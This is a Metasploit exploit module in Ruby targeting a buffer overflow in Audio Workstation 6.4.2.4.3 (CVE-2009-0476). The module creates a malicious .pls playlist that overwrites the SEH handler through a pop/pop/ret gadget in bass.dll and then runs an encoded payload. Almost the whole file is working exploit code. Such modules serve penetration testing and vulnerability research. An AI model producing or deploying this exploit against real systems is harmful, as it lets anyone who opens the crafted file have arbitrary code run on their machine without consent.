##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = GoodRanking

  include Msf::Exploit::FILEFORMAT
  include Msf::Exploit::Remote::Seh

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'Audio Workstation 6.4.2.4.3 pls Buffer Overflow',
      'Description'    => %q{
          This module exploits a buffer overflow in Audio Workstation 6.4.2.4.3.
        When opening a malicious pls file with the Audio Workstation,
        a remote attacker could overflow a buffer and execute
        arbitrary code.
      },
      'License'        => MSF_LICENSE,
      'Author'         => [ 'germaya_x', 'dookie', ],
      'References'     =>
        [
          [ 'CVE', '2009-0476' ],
          [ 'OSVDB', '55424' ],
          [ 'EDB', '10353' ],
        ],
      'DefaultOptions' =>
        {
          'EXITFUNC' => 'seh',
          'DisablePayloadHandler' => true,
          'AllowWin32SEH' => true
        },
      'Payload'        =>
        {
          'Space'    => 4100,
          'BadChars' => "\x00",
          'StackAdjustment' => -3500,
          'EncoderType'   => Msf::Encoder::Type::AlphanumUpper,
          'DisableNops'   =>  'True',
        },
      'Platform' => 'win',
      'Targets'        =>
        [
          [ 'Windows Universal', { 'Ret' => 0x1101031E } ], # p/p/r in bass.dll
        ],
      'Privileged'     => false,
      'DisclosureDate' => '2009-12-08',
      'DefaultTarget'  => 0))

    register_options(
      [
        OptString.new('FILENAME', [ true, 'The file name.',  'msf.pls']),
      ])

  end

  def exploit

    sploit = rand_text_alpha_upper(1308)
    sploit << "\xeb\x16\x90\x90"
    sploit << [target.ret].pack('V')
    sploit << make_nops(32)
    sploit << payload.encoded
    sploit << rand_text_alpha_upper(4652 - payload.encoded.length)

    print_status("Creating '#{datastore['FILENAME']}' file ...")
    file_create(sploit)

  end
end
